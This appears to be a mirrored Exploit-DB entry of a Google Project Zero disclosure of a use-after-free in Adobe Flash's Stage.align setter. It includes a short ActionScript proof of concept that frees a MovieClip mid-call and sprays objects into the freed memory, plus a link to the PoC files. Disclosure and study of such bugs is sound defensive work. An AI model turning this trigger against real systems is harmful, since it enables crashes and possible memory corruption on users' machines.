Adobe Flash – Stage.align Setter Use-After-Free

• Exploit Database
• 54 阅读

• 作者： Google Security Research
  日期： 2016-08-29
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/40308/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=838
  
  There is a use-after-free in the Stage.align property setter. When the setter is called, the parameter is converted to a string early, as a part of the new use-after-free prevention changes. This conversion can invoke script, which if the this object is a MovieClip, can delete the object, deleting the thread the call is made from, which can lead to a use-after-free.
  
  A proof-of-concept is as follows:
  
  this.createEmptyMovieClip("mc", 2);
  var o = { toString : f };
  mc.func = ASnative(666, 4); //Stage.align setter
  mc.func(o);
  
  function f(){
  	
  	trace("here");
  	mc.removeMovieClip();
  	for(var i = 0; i < 100; i++){	
  		var t = new TextFormat(); // fill up the slots
  		
  		}
  	}
  
  A fla and swf are attached. The swf crashes in Chrome for Windows.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40308.zip